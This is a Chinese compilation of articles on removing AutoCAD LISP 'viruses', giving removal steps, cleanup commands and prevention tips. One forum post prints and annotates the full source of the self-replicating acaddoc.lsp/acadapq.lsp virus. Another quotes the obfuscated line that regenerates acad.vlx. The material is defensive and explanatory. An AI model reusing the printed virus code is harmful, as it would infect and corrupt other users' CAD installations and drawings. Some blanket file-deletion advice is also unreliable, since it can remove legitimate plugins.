cad病毒处理
- 格式:doc
- 大小:30.00 KB
- 文档页数:3
CAD中毒解决方案一、背景介绍CAD(计算机辅助设计)是一种广泛应用于工程设计和创造领域的软件工具。
然而,CAD系统也存在一些安全风险,如恶意软件、病毒和黑客攻击等,这可能导致CAD系统中毒。
本文将介绍CAD中毒的常见原因和解决方案。
二、CAD中毒的常见原因1. 恶意软件感染:用户通过下载和安装来自不可信来源的CAD软件或者插件,导致恶意软件感染CAD系统。
2. 病毒攻击:黑客利用漏洞或者弱密码等方式入侵CAD系统,植入病毒程序进行攻击。
3. 文件损坏:CAD文件在传输或者存储过程中被破坏,导致CAD系统无法正常工作。
三、CAD中毒的影响1. 数据丢失:CAD中毒可能导致设计文件损坏或者丢失,给工程项目带来不可估计的损失。
2. 系统崩溃:恶意软件或者病毒攻击可能导致CAD系统崩溃,造成工作中断和生产延误。
3. 安全风险:CAD中毒后,黑客可能窃取敏感设计文件,威胁企业的商业机密。
四、CAD中毒解决方案1. 安全意识培训:加强员工的安全意识培训,教育他们避免下载和安装来自不可信来源的CAD软件或者插件。
2. 定期更新和升级:及时更新CAD软件和操作系统的补丁,修复已知漏洞,提高系统的安全性。
3. 强化密码策略:使用强密码保护CAD系统,定期更换密码,并避免使用易被猜测的密码。
4. 安全备份:定期备份CAD设计文件,并将备份数据存储在离线、安全的位置,以防止文件损坏和丢失。
5. 权限管理:限制用户对CAD系统的访问权限,确保惟独授权人员可以访问和修改设计文件。
6. 安全软件使用:安装并定期更新杀毒软件、防火墙和恶意软件检测工具,及时发现和清除潜在的威胁。
7. 安全审计:定期进行CAD系统的安全审计,检查系统是否受到恶意软件或者黑客攻击,并及时采取措施修复漏洞。
五、CAD中毒的预防措施1. 下载软件可信度:只从官方网站或者可信的软件供应商处下载CAD软件和插件,避免从非官方渠道下载,以防感染恶意软件。
一、中键不能用的病毒步骤:1、关闭cad程序,显示所有文件和文件夹;显示已知程序的后缀;2、搜索acad.lsp,全部彻底删除;3、搜索acadappp.lsp,一般就一个,彻底删除(注意搜索要在高级选项加上隐藏文件夹);4、打开cad,在工具--选项--配置--重置,再试一下,ok了吧!!!二、时间病毒手工清除方法:首先请关闭CAD后,再搜索所有磁盘内的acad.fas、acad.sys、acad.ini、lcm.fas、dwgrun.exe、dwgrun.bat、winsys.ini、winfas.ini文件,(记住一定要搜索完所有的磁盘,如C、D、E、F、G等等。
)然后将所有搜索到的acad.fas、acad.sys、acad.ini、lcm.fas、dwgrun.exe、dwgrun.bat、winsys.ini、winfas.ini文件全部删除。
常见问题是C:\Program Files\autocad***目录(子目录)下的acad.fas与lcm.fas是在全部查找时找不到的,请手动进入目录再行查找删除!不想进去目录查找也可以输入下面的字符到CAD命令行:(while (or (setq a (findfile "acad.fas")) (setq a (findfile "lcm.fas"))) (vl-file-delete a))注意:上面带括号一个字都不能少哦!这样就行了!如果有文字编缉时出现记事本的现象请将下面一行红字输入到命令行?:(setvar "mtexted" ".")靠,玩cad就指这个混了,全部贡献了。
!!!!!要把你的机子、U盘全部照上面的方法查一遍,以后见到acad.lsp这个东西先删!!!只要在同一个文件夹中(不论是U盘还是硬盘)有图纸和acad.lsp,打开任何图纸之后就会在C盘产生一个acadappp.lsp病毒母文件,以后在这台机子任意打开图纸,就会在打开图纸的文件夹中产生一个acad.lsp文件,说白了就是中毒了!!!!按我上面的方法处理染毒的机子就ok了!并不存在某个文件安全不安全的讲法,只存在.dwg文件安全不安全的讲法。
CAD中毒解决方案CAD(计算机辅助设计)软件在工程设计、建筑设计、制造业等领域广泛应用,但有时候会遇到一些问题,比如软件崩溃、文件损坏、性能下降等,这些问题被称为CAD中毒。
为了解决这些问题,我们需要采取一些措施来修复CAD软件,并确保其正常运行。
以下是CAD中毒解决方案的详细步骤:1.备份文件:在进行任何操作之前,首先应该备份所有CAD文件,以防止进一步的损坏或数据丢失。
可以将文件复制到另一个安全的位置,或者使用云存储服务进行备份。
2.关闭和重新启动CAD软件:如果CAD软件出现崩溃或性能下降的情况,首先尝试关闭软件并重新启动。
有时候这个简单的步骤就可以解决问题。
3.更新CAD软件:检查CAD软件是否有最新的更新版本。
厂商通常会发布更新来修复已知的问题和漏洞。
下载并安装最新的更新程序,以确保软件是最新的版本。
4.检查系统要求:确保计算机系统满足CAD软件的最低要求。
CAD软件通常需要较高的处理能力和显卡性能。
检查计算机的硬件规格,确保满足CAD软件的要求。
5.清理临时文件:CAD软件在运行过程中会产生许多临时文件,这些文件可能会导致软件性能下降。
使用系统清理工具或第三方软件清理临时文件,以提高CAD软件的运行速度。
6.修复损坏的文件:如果CAD文件损坏或无法打开,可以尝试使用CAD软件自带的修复工具来修复文件。
如果修复工具无法解决问题,可以尝试使用第三方CAD文件修复软件。
7.优化CAD设置:调整CAD软件的设置,以提高性能和稳定性。
可以禁用不必要的插件和功能,调整绘图精度和显示效果,优化CAD软件的配置。
8.更新驱动程序:检查计算机的显卡驱动程序是否是最新的版本。
过时的驱动程序可能会导致CAD软件的性能下降或崩溃。
访问显卡厂商的官方网站,下载并安装最新的驱动程序。
9.安装防病毒软件:CAD文件可能会受到病毒或恶意软件的感染,导致文件损坏或系统崩溃。
安装一款可信赖的防病毒软件,并定期进行病毒扫描,确保计算机和CAD文件的安全。
cad病毒acad处理cad病毒acad处理这是一种病毒,但不用重装,可以杀的一、彻底的解决方案1:(主要是acad.fas程序文件)1、清除方法是删除干净acad.fas与lcm.fas两个文件!如果删除不净下次启动是还是会生成,务必清理干净!同时搜acad.lsp和acadapp.lsp删掉2、进入“C:\\Documents and Settings\\用户名\\Application Data\\Autodesk\\AutoCAD 2005\\R16.1\\chs\\support"如果有acad.fas,删除打开acad.mnl,末尾如有不明代码,删除。
清除步骤:1.退出CAD。
2.全盘搜索acadapq.*、、acadappp.*、acaddoc.* 文件,然后彻底删除上述文件。
注意查找前在文件夹选项中设置“显示所有文件与文件夹”以及取消“隐藏受保护的操作系统文件”。
搜索时选择“查找所有文件及文件夹”,然后在“高级选项”里勾选“搜索系统文件夹”“搜索隐藏的文件和文件夹”“搜索子文件夹”。
如果搜出的文件无法删除,则先清空回收站,再搜索删除。
注:探索者目录下有个AcadDoc.lsp(注意大小写)不是病毒文件,谨防误删。
3.查看C盘根目录下是否有boot.dat文件,如有,则将其删除。
4.进入C:\\Documents and Settings\\用户名\\Application Data\\Autodesk\\AutoCAD 2006(或AutoCAD2004)\\R16.2\\chs\\Support目录,用记事本打开该目录下的所有*.mnl文件,手动删除与附件1相同的代码(一般都在文件末尾),然后保存。
并将修改后的所有*.mnl文件属性设置为“只读”。
5.进入CAD安装目录下的support目录,将该目录下的所有*.lsp 文件按步骤4方法处理。
记得将其属性设为“只读”。
CAD中毒解决方案概述:CAD中毒是指计算机辅助设计(CAD)软件受到病毒、恶意软件或者其他安全威胁的影响,导致系统运行不稳定、数据丢失或者被篡改等问题。
为了保护CAD系统的安全和稳定性,需要采取一系列解决方案来应对CAD中毒的风险。
解决方案一:安全软件保护安全软件是防止计算机受到病毒和恶意软件攻击的关键工具。
为了保护CAD 系统的安全,可以安装并定期更新一款可靠的安全软件,如杀毒软件、防火墙和恶意软件清除工具。
这些软件可以实时监测和阻挠潜在的安全威胁,并进行病毒扫描和清除。
解决方案二:定期备份数据定期备份CAD系统中的重要数据是防止数据丢失的有效措施。
可以使用外部存储设备,如硬盘驱动器或者云存储服务,将CAD文件备份到安全的位置。
最好每天或者每周进行备份,并确保备份文件是完整的和可恢复的。
解决方案三:更新CAD软件和插件CAD软件和插件的更新通常包含了对已知漏洞和安全问题的修复。
及时更新CAD软件和插件可以提高系统的安全性和稳定性,减少受到攻击的风险。
可以定期检查CAD软件和插件的官方网站或者应用商店,下载并安装最新版本的软件和插件。
解决方案四:限制网络访问权限限制CAD系统的网络访问权限可以减少受到网络攻击的风险。
可以通过防火墙、网络隔离和访问控制列表等措施来限制CAD系统与外部网络的连接。
只允许必要的网络连接,并禁止未经授权的访问。
解决方案五:教育培训和意识提升教育培训和意识提升对于CAD系统的安全至关重要。
通过培训用户了解常见的安全威胁和防范措施,可以匡助他们更好地保护CAD系统。
提醒用户不要打开可疑的电子邮件附件或者下载未经验证的软件,以及定期更新密码和使用强密码等最佳实践。
解决方案六:定期系统检查和维护定期对CAD系统进行检查和维护可以匡助发现和解决潜在的安全问题。
可以使用系统工具进行磁盘清理、注册表修复和软件更新等操作,以确保CAD系统的正常运行和安全性。
解决方案七:安全策略和流程制定制定适合CAD系统的安全策略和流程可以匡助组织更好地管理和应对安全威胁。
CAD病毒是什么怎么清除CAD相信很多学建筑或者图形设计的人们都使用过,那么CAD病毒是什么呢?遇到了怎么解决?本文就来教大家使用手动设置查杀CAD 病毒的方法,具体步骤请看下文。
CAD病毒查杀方法介绍:手动查杀CAD病毒:1、关闭CAD(一定要先关闭正在运行的CAD程序)。
2、搜索并删除acad.lsp、acadappp.lsp和acadapp.lsp这3个文件。
3、复制下面的代码在CAD命令行运行,以恢复被修改的系统变量默认值:01(setvar "zoomfactor" 40)02(setvar"mbuttonpan" 1)03(setvar"HIGHLIGHT" 1)04(setvar "fillmode" 1)复制代码4、用记事本打开CAD下的“acad.mnl”文件,将文件最后一行代码(load "acadappp")删去。
(如"acad.mnl"文件中无此行代码可忽略此操作)附:"acad.mnl"文件可能在下面的目录中,C:\Documents and Settings\×××\Application Data\Autodesk\AutoCAD 200×\R×.×\chs\Support其中×××是你登录系统时的用户名,200×和R×.×分别是CAD 的版本和版本代号。
(注意:目录C:\Documents and Settings\是系统隐藏文件夹)补充:电脑常见的病毒:1.文件型病毒文件型病毒是一种受感染的可执行文件,也就是.exe病毒文件。
当执行受感染的文件时,电脑病毒会将自己复制到其他可执行文件中,导致其他文件受感染。
AUTOCAD病毒的清除方法acaddoc.lsp是一个专门针对CAD文件的病毒,在CAD软件使用中主要表现的情况如下:1、无法拷贝2、在命令行提示需要执行一个宏3、CAD会出莫名其妙的问题解决方法:关闭AutoCAD程序;搜索所有acaddoc.lsp和acadapq.lsp文件删除所有关acadapq.lsp(3,836字节) 和被感染的acaddoc.lsp(27字节) (看文件大小);重启AutoCAD,OKashan发表LZ还说少了一个步骤:没有处理acad.mnl文件,这样的清除并不彻底,下次再打开带毒的dwg文件(这里并非指dwg文件本身带毒,而是指在该dwg文件下有acaddoc.lsp文件存在)后,系统又会感染病毒,偶曾经对这个cad病毒的代码做过详细分析,下面是原文,有兴趣的朋友可以详细看看:最近自己的电脑中了CAD病毒,症状为打开一个dwg文件后,在该dwg文件所在目录下就会自动生成一个“acaddoc.lsp”文件,即使手工将其删除,下次打开dwg文件时又会自动生成。
如果把dwg文件和acaddoc.lsp文件一起复制到另外一部未感染CAD病毒的电脑上,只要一打开该dwg文件,则该电脑就会被感染。
因为这个CAD病毒是个lisp程序,花了些时间对病毒代码进行分析如下:-----------------下面是病毒代码-----------------------------(setq wold_cmd (getvar "cmdecho"))(setvar "cmdecho" 0)(setq wpath (findfile "base.dcl"))(setq wpath (substr wpath 1 (- (strlen wpath) 8))) ;wpath变量保存ACAD下support目录路径(setq wwmnlwpath (getvar "menuname")) ;获得当前菜单名,这句没有用处,下面并未使用wwmnlwpath变量(setq wnowdwg (getvar "dwgname")) ;获得当前打开图形文件名(setq wwjqm (findfile wnowdwg)) ;wwjqm变量保存当前打开图形文件的完整路径(setq wdwgwpath (substr wwjqm 1( - (strlen wwjqm) (strlen wnowdwg)))) ;wdwgwpath变量保存当前打开图形文件所在路径;;;alert( setq f ( open "c:\\boot.dat" "w")) ;f变量为boot.dat文件句柄,c盘根目录下boot.dat文件若存在则(write-line "[dang]" f) ;打开,不存在则创建,然后将当前打开图形文件所在路径和support(write-line (strcat "ff=" wdwgwpath) f) ;目录路径写入boot.dat文件(write-line (strcat "yy=" wpath) f)(close f)(setq boot (findfile "boot.dat")) ;获得boot.dat文件所在目录完整路径(if (/= boot "") (command "_-vbarun" "ThisDrawing.hh")) ;这句是要运行一个名为“ThisDrawing.hh”的宏,但该宏并不存在(setq wacadwpath (findfile "acaddoc.lsp")) ;wacadwpath变量保存当前加载的acaddoc.lsp文件所在目录(setq wacadwpath (substr wacadwpath 1(- (strlen wacadwpath) 11)))(setq wns1 "" wns2 "")(setq wlspbj 0) ;wlspbj变量是判断support目录下acaddoc.lsp文件是否已感染的;;; ;标志,已感染为1,未感染为0(setq wwjqm (strcat wpath "acaddoc.lsp")) ;wwjqm变量指向support目录下的acaddoc.lsp文件(if (setq wwjm (open wwjqm "r")) ;wwjm变量为打开support目录下的acaddoc.lsp文件的句柄,若打开(progn ;成功则进行处理(while(setq wwz (read-line wwjm)) ;逐行读取acaddoc.lsp文件内容,读取结束后,wns1中是倒数第2行(setq wns1 wns2 ) ;内容,wns2中是最后一行的内容(setq wns2 wwz))(if (> (strlen wns1) 14) ;判断wns1中从第8个字符开始的7个字符是否为“acadapq”,(if (= (substr wns1 8 7) "acadapq") ;若是则已感染(setq wlspbj 1)))(close wwjm)))(setq wlspmnl 0) ;wlspmnl变量是判断support目录下acad.mnl文件是否已感染的标志,;;; ;已感染为1,未感染为0(setq wwjqm (strcat wpath "acad.mnl")) ;wwjqm变量指向support目录下的acad.mnl文件(if (setq wwjm (open wwjqm "r" )) ;wwjm变量为打开support目录下的acad.mnl文件的句柄,若打开(progn ;成功则进行处理(while (setq wwz (read-line wwjm)) ;逐行读取acad.mnl文件内容,读取结束后,wns1中是倒数第2行内容(setq wns1 wns2 ) ;wns2中是最后一行的内容(setq wns2 wwz))(if (> (strlen wns1) 14) ;判断wns1中从第8个字符开始的7个字符是否为“acadapq”,若是则(if (= (substr wns1 8 7) "acadapq") ;已感染(setq wlspmnl 1)))(close wwjm) ;关闭acad.mnl文件))(if (= wlspmnl 0) ;若acad.mnl文件未感染,则写入加载病毒的代码到acad.mnl文件的(progn ;最后2行中(setq wwjqm (strcat wpath(strcat (chr 97) (chr 99) (chr 97)(chr 100) (chr 46) (chr 109)(chr 110) (chr 108)) )) ;障眼法,等于(strcat wpath "acad.mnl")(setq wwjm (open wwjqm "a"))(write-line (strcat "(load " (chr 34)"acadapq" (chr 34) ")" ) wwjm)(write-line "(princ)" wwjm)(close wwjm)))(defun wwriteapp ()(if (setq wwjm1 (open wnewacad "w"))(progn(setq wwjm (open woldacad "r"))(while (setq wwz (read-line wwjm))(write-line wwz wwjm1))(close wwjm)(close wwjm1))))(if (and (= wacadwpath wdwgwpath)(/= wacadwpath wpath)) ;若加载的acaddoc.lsp文件和图形文件同目录(progn(if (= 0 wlspmnl) ;acad.mnl文件未感染(progn(setq woldacad (findfile "acaddoc.lsp")) ;在下面调用wwriteapp子程序读取图形文件目录下的acaddoc.lsp文件(setq wnewacad (strcat wpath "acadapq.lsp")) ;的内容,在support目录下创建acadapq.lsp 文件并将acaddoc.lsp) ;文件的内容写入acadapq.lsp文件中;;else (acad.mnl文件已感染)(progn(setq woldacad (strcat wpath "acadapq.lsp" )) ;在下面调用wwriteapp子程序读取support目录下的acadapq.lsp文件(setq wnewacad (findfile "acaddoc.lsp")) ;的内容,写入图形目录下的acaddoc.lsp文件中))(if (= wlspbj 0) ;support目录下的acaddoc.lsp文件未感染(progn ;下面代码将加载病毒程序的代码写入acaddoc.lsp文件的最后2行中(setq wwjqm (strcat wpath "acaddoc.lsp" ))(setq wwjm (open wwjqm "a"))(write-line (strcat "(load " (chr 34)"acadapq" (chr 34) ")" ) wwjm)(write-line "(princ)" wwjm)(close wwjm)))(wwriteapp));;else (若加载的是support目录下的acaddoc.lsp文件)(progn(if (/= wnowdwg "Drawing.dwg" ) ;当前打开文件不是新建图形文件(progn(setq woldacad (findfile "acadapq.lsp")) ;在图形文件目录下创建acaddoc.lsp文件,将acadapq.lsp(setq wnewacad (strcat wdwgwpath "acaddoc.lsp")) ;文件的内容写入acaddoc.lsp文件中(wwriteapp)))))(setvar "cmdecho" wold_cmd)(princ) ;下面的代码又是个障眼法,没什么作用(setq strtopstr (strcat (chr 92) (chr 92) (chr 70)(chr 83) (chr 49) (chr 92)(chr 83) (chr 89) (chr 83)(chr 49) (chr 92) (chr 87)(chr 79) (chr 82) (chr 75)(chr 92) (chr 80) (chr 76)))-----------------病毒代码到此结束----------------------------从以上对病毒代码的分析可知,该病毒的病毒文件有2个,一个为acadapq.lsp,位于ACAD 安装目录下的support目录下,另一个为acaddoc.lsp,位于当前打开的dwg文件所在目录下,2个病毒文件的内容相同。
CAD病毒查杀方法教程怎么手动杀毒病毒无处不在,随时入侵我们电脑,CAD也一样,那CAD文件病毒怎么清除?本文就来教大家使用手动设置查杀CAD病毒的方法,具体步骤请看下文。
CAD病毒查杀方法介绍:手动查杀CAD病毒:1、关闭CAD(一定要先关闭正在运行的CAD程序)。
2、搜索并删除acad.lsp、acadappp.lsp和acadapp.lsp这3个文件。
3、复制下面的代码在CAD命令行运行,以恢复被修改的系统变量默认值:01(setvar "zoomfactor" 40)02(setvar"mbuttonpan" 1)03(setvar"HIGHLIGHT" 1)04(setvar "fillmode" 1)复制代码4、用记事本打开CAD下的“acad.mnl”文件,将文件最后一行代码(load "acadappp")删去。
(如"acad.mnl"文件中无此行代码可忽略此操作)附:"acad.mnl"文件可能在下面的目录中,C:\Documents and Settings\×××\Application Data\Autodesk\AutoCAD 200×\R×.×\chs\Support其中×××是你登录系统时的用户名,200×和R×.×分别是CAD 的版本和版本代号。
(注意:目录C:\Documents and Settings\是系统隐藏文件夹)补充:CAD使用小技巧1、文字镜像如何设置转动与不转动A、在镜像前,输入MIRRTEXT指令B、输入新值0 代表不转动;输入新值1代表转动C、MIRRTEXT指令完成后,输入MI镜像指令就OK了2、CAD的版本转换A、CAD高版本可以打开所有低版本的图纸B、CAD低版本不可以打开高版本的图纸C、高版本转成低版本的方法,直接点击另存为,将文件类型可以改成任意的低版本D、将低版本转换成高版本,就比较复杂了,需要第三方软件,也就是版本转换器。
CAD中毒解决方案一、背景介绍CAD(计算机辅助设计)是一种广泛应用于工程设计领域的软件工具,它可以帮助工程师进行设计、绘图和模拟等工作。
然而,由于CAD文件的复杂性和重要性,它们往往成为恶意软件攻击的目标。
CAD中毒是指CAD文件受到恶意软件的感染,导致文件损坏、数据泄露或系统崩溃等问题。
二、CAD中毒的危害1. 文件损坏:恶意软件可能会修改CAD文件的内容,导致文件无法正常打开或编辑。
2. 数据泄露:攻击者可以利用恶意软件窃取CAD文件中的敏感信息,如设计方案、机密数据等。
3. 系统崩溃:某些恶意软件可能会导致CAD软件运行异常甚至系统崩溃,影响工程设计进程。
三、CAD中毒解决方案为了保护CAD文件的安全性和完整性,以下是一些CAD中毒解决方案的建议:1. 安装可靠的杀毒软件首先,确保计算机上安装了可靠的杀毒软件,并及时更新病毒库。
杀毒软件能够检测和清除恶意软件,有效防止CAD文件被感染。
2. 定期备份CAD文件定期备份CAD文件是防止数据丢失的重要措施。
将CAD文件备份到外部存储设备或云存储平台,以防止恶意软件感染或其他意外情况导致的数据丢失。
3. 谨慎打开附件和下载文件避免打开来自不可信来源的附件,尤其是包含可执行文件的附件。
此外,只从官方和可信的网站下载CAD文件和插件,以降低感染恶意软件的风险。
4. 更新CAD软件和插件定期更新CAD软件和插件是保持系统安全的重要步骤。
这些更新通常包含安全修复和漏洞补丁,能够提高系统的抵抗恶意软件的能力。
5. 加强网络安全加强网络安全措施可以有效防止恶意软件通过网络传播和入侵系统。
使用防火墙、入侵检测系统和虚拟专用网络(VPN)等技术,限制未经授权的访问和保护CAD文件的安全。
6. 增强员工安全意识加强员工的安全意识培训,教育他们如何辨别和避免恶意软件的攻击。
员工应该知道如何识别可疑的电子邮件、网站和文件,以及如何正确处理和报告安全事件。
7. 定期进行系统安全检查定期进行系统安全检查可以及早发现和清除潜在的恶意软件。
CAD中毒解决方案引言概述:CAD(计算机辅助设计)是现代设计领域中广泛使用的技术工具。
然而,由于不当使用或其他原因,有时会出现CAD中毒的问题。
本文将提供一些解决CAD 中毒问题的方案。
一、了解CAD中毒的原因1.1 恶意软件感染:恶意软件可能通过下载或共享文件等方式感染CAD软件,导致系统中毒。
1.2 不安全的链接:点击不安全的链接或访问感染病毒的网站可能导致CAD中毒。
1.3 外部设备感染:通过连接未经检查的外部设备,如USB驱动器或光盘,可能导致CAD软件中毒。
二、预防CAD中毒的措施2.1 安装可靠的安全软件:使用有信誉的防病毒软件来保护CAD系统免受恶意软件的感染。
2.2 更新软件和操作系统:及时更新CAD软件和操作系统,以修复已知的漏洞和安全问题。
2.3 谨慎点击链接:避免点击不明来源或不安全的链接,以防止CAD中毒。
三、处理CAD中毒的步骤3.1 断开网络连接:一旦发现CAD中毒,立即断开与互联网的连接,以防止病毒进一步传播。
3.2 扫描系统:使用最新的防病毒软件对整个系统进行全面扫描,以便检测和清除恶意软件。
3.3 恢复备份文件:如果有备份文件,可以使用备份文件来替换受感染的CAD 文件,以确保系统的安全性。
四、加强CAD安全性的措施4.1 定期备份文件:定期备份CAD文件,以防止数据丢失或受到恶意软件的感染。
4.2 限制外部设备访问:限制外部设备的访问权限,仅允许经过检查和安全的设备连接到CAD系统。
4.3 培训员工:对CAD系统的安全性进行培训,教育员工了解潜在的安全威胁和最佳实践。
五、寻求专业帮助5.1 安全专家:如果无法解决CAD中毒问题,应寻求专业的安全专家的帮助,以确保系统的安全性。
5.2 CAD供应商支持:联系CAD软件供应商,寻求他们的支持和建议,以解决CAD中毒问题。
结论:CAD中毒是一个严重的问题,可能导致数据丢失和系统崩溃。
通过了解CAD 中毒的原因并采取预防措施,可以降低CAD中毒的风险。
01毒现象如下: 1.当中毒后不能使用图层和标注命令. 2. 新建和打开图档会自动生成一个acad.vlx的文件. 3 当新建一个图档时.可以用标注命令和图层.但是当关闭后在打开图档则不能使用图层和标注命令. 处理方法: 1 仔细搜索查看CAD安装目录,后发现Express目录的acetauto.lsp文件和Support目录的ai_utils.lsp文件都被修改了。
同时Help目录内也多出了一个logo.gif文件,仔细查看它的字节大小,确定它就是这个acad.vlx文件的副本。
2.打开acetauto.lsp 和ai_utils.lsp文件,跟备份的原文件对比后发现,它们都被添加了一行代码:(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 12 0))) 这句代码的意思就是搜索CAD支持路径下是否有logo.gif文件,如有,则复制logo.gif文件到CAD支持路径并重命名为acad.vlx。
这就是为什么全盘搜索acad.vlx删除后,打开CAD后又会全新生成这个acad.vlx文件的原因了。
3 关闭CAD,全盘搜索acad.vlx删除,再将CAD的Help目录内的logo.gif文件删除即可。
如果找不到可以全盘搜索logo.gif,查看在CAD的Help目录下的将其删掉。
染了Acad.vlx病毒,辛辛苦苦画的图纸内容都变成“Must Re_cover!”怎么办?相信感染过此病毒的朋友都遇到过此种情况。
大家也不必惊慌,解铃还须系铃人,我想写出此种病毒的人纯粹出于恶搞,通过Acad.vlx文件可以还原你画的图。
你可以打开被感染图形,然后在工具菜单中点加载应用程序,加载Acad.vlx文件,输入“re_cover”(不含引号),稍等片刻,你的图原原本本的回来了,^_^ 此时工作还未完全结束,你要另存为一下,才能保证下次打开图形正常。
“CAD恶意程序”网上也称之为“CAD病毒”。
其实,常见的CAD恶意程序并不具备一般病毒特征,不能单独传染,不会感染系统文件,只能在CAD环境下传播,没有对系统产生危害,但会造成CAD部份命令失效(如:无法使用分解命令、鼠标中键平移被修改、填充不能使用、多段线空心等),使其操作不便,从而影响制图效率及质量。
CAD恶意程序清除工具,支持CAD2002-2010版本。
程序根据“病毒及信任文件”列表搜索、删除CAD恶意程序并清除其加载项。
大家在工作中,打开自己或别人拷贝来的DWG文件前,不要忙着打开CAD,先看看这个DWG图纸目录内,有没有acad.lsp、acad.fas和acad.vlx这些的文件,有就应该立即清除该文件。
这样可以大大减少“CAD恶意程序”传播的机会。
手工清除方法:①、关闭CAD(一定要关闭正在运行中的CAD程序);②、按F3键或在“开始”菜单打开“搜索”→“文件或文件夹”搜索窗口,全盘搜索下面的已知可能是CAD恶意程序的文件名;acad.lspacad.fasacad.vlxacad.sysacaddoc.lspacadiso.lspacaddoc.fasacadapq.lspacadappp.lspacadapp.lsplcm.fasacadsmu.fas搜索发现文件后,注意该文件的所在目录,判断这个文件是不是你正在使用的某些外挂插件或专业软件所用到的自动加载文件,再决定是否删除。
注意:“搜索范围”一定要选择“本地硬盘(C:;D:;E:;...)”,并勾选“搜索选项”中的“高级选项”,将其下的“搜索系统文件夹”、“搜索隐藏的文件和文件夹”和“搜索子文件夹”项都勾选上,否则不能完全搜索出这些文件。
③、复制代码“(setvar "zoomfactor" 40)(setvar "mbuttonpan" 1)(setvar "highlight" 1)(setvar "fillmode" 1)(setvar "pickauto" 1)”粘贴在CAD命令行,恢复被修改的系统变量;④、清除残留的加载项,复制“(startapp "notepad" (findfile "acad.mnl"))”在CAD命令行,打开“acad.mnl”文件,查看文件内是否有类似“(load "acadappp")”或“(load "acadappp.lsp")”这样的内容,有则删去这些内容后保存“acad.mnl”文件;无可忽略此操作。
问题AutoCAD系列产品的用户报告了一个名为acad.vlx的恶意文件,该文件会导致绘图损坏。
解决方法这实际上不是Autodesk提供的AutoCAD文件。
当AutoCAD载入acad.vlx恶意文件时,会使绘图损坏,进而导致在您保存并重新打开工程图时弹出“缺少语言包”(Missing Language Pack )对话框。
acad.vlx文件会在Help文件夹下面创建一个副本(例如,C:\ProgramFiles\AutoCAD 2010\Help\logo.gif)。
其它多个文件也会被修改,同时ACADLSPASDOC系统变量的值会被改为1,这将允许acad.vlx文件载入到其它打开的工程图中,导致工程图损坏。
下述清理流程将在AutoCAD试图加载acad.vlx 文件之前发现该文件并将其删除,防止病毒的传播。
为了避免其它文件的损坏您必须以Microsoft® Windows® 操作系统的系统管理员身份完成本流程。
1. 在您的产品安装目录中,找到Support 文件夹(例如,C:\ProgramFiles\AutoCAD 2010\Support)。
2. 在Support文件夹内,双击acad20xx.lsp文件(例如,acad2010.lsp文件)。
在文件中加入下面的代码。
AutoCAD将发现并删除acad.vlx和logo.gif 文件。
(defun cleanvirus( / lspfiles lspfile x)(setq lspfiles '("acad.vlx" "logo.gif"))(foreach lspfile lspfiles(while (setq x (findfile lspfile))(progn(vl-file-delete x)(princ "\nDeleted file ")(princ x));progn);while);foreach)(cleanvirus)3. 打开下面的所有文件:o C:\Program Files\AutoCAD 20xx\Express\acetauto.lspo C:\Program Files\AutoCAD 20xx\Support\ai_utils.lspo ROAMABLEROOTPREFIX\Support\acad.mnlo备注:将ROAMABLEROOTPREFIX替换为ROAMABLEROOTPREFIX 系统变量的返回值。
CAD病毒通用杀毒方法杀毒方法:1.利用命令来清除病毒:使用打开CAD程序,在命令行输入:(复制到命令行即可)(while(or(setq a (findfile”acad.fas”))(setq a (findfile”lcm.fas”)))(vl-file-delete a))也就是要搜索并删除acad.fas和lcm.fas。
2、直接搜索acad.fas和lcm.fas,找到的话删除掉,然后再启动CAD第一种方法:将硬盘、u盘、移动硬盘、网络共享文件夹中的.fas .lsp .mnl .arx等类型文件全部删除即可。
具体方法如下:1、关闭CAD。
2、卸载CAD,然后删除CAD所在文件夹。
3、打开“我的电脑”—>点“搜索”(或者按CTRL+F)—>”要搜索的文件或文件夹名”里输入*.fas,*.lsp,*.mnl,*.arx—>点“立即搜索”。
4、将搜索到的所有文件全部删除。
同理方法,搜索自己的U盘,移动硬盘,网络文件夹等。
5、注意压缩包内是否有此类文件。
同上方法搜索 *.RAR *.ZIP 看你打包的图纸文件内是否包有上述类型文件,有就删除。
6、重新安装AutoCAD和其平台上辅助软件即可。
第二种方法:1、关闭CAD。
2、搜索acad*.lsp,acad*.fas,acad*.vlx,如果有很多此类文件,尤其是在图纸目录下有此类文件,将相同大小的文件删除,要彻底一些的话可以将这些文件全部删除。
3、启动CAD,看是否恢复正常,如果仍不正常,则需要用第一种方法。
方法评价:如果你安装了在AutoCAD上的专业软件,这种方法可能会导致专业软件无法正常启动,需要重新安装。
三、关于此类问题的预防:1、如果看到图纸文件夹内除了DWG文件外,还有.fas .lsp .mnl .arx类型文件,如果不明其用途,一定要删除,拷贝别人图纸的时候,注意别把它们拷贝过来。
通俗的讲,只要不拷贝这类文件,99%不会中毒。
CAD中毒解决方案一、背景介绍计算机辅助设计(Computer-Aided Design,CAD)是一种通过计算机系统进行产品设计和绘图的技术。
然而,由于计算机病毒的存在,CAD系统也面临着安全威胁。
本文将提供一种CAD中毒解决方案,旨在帮助用户保护他们的CAD系统免受病毒侵害。
二、CAD中毒的风险CAD中毒可能导致以下问题:1. 数据损坏:病毒可能破坏CAD文件,导致数据丢失或无法读取。
2. 系统崩溃:某些病毒可能会导致CAD软件崩溃,使用户无法正常使用。
3. 信息泄露:恶意软件可能窃取CAD文件中的敏感信息,造成机密泄露。
三、CAD中毒解决方案为了保护CAD系统免受病毒侵害,以下是一些解决方案:1. 安装可靠的杀毒软件选择一款可靠的杀毒软件并及时更新病毒库,以确保能够及时发现并清除潜在的病毒。
建议定期进行全盘扫描,确保CAD系统的安全。
2. 更新操作系统和CAD软件及时安装操作系统和CAD软件的更新补丁,以修复已知的漏洞和安全问题。
这样可以提高系统的安全性,并减少受到病毒攻击的风险。
3. 谨慎打开附件和下载文件在收到来自不可信来源的电子邮件时,特别是带有附件的邮件,要谨慎打开。
同样,下载CAD文件时要确保来源可靠,并使用杀毒软件进行扫描。
4. 设置强密码和权限在CAD系统中设置强密码,以防止未经授权的访问。
此外,为不同的用户设置不同的权限,以限制其对CAD文件的访问和修改。
5. 定期备份CAD文件定期备份CAD文件至外部存储设备或云存储中,以防止数据丢失。
如果发生病毒攻击或数据损坏,可以及时恢复备份文件,减少损失。
6. 培训员工为CAD系统用户提供相关的安全培训,教育他们如何识别和应对潜在的病毒攻击。
提高员工的安全意识,是保护CAD系统安全的重要环节。
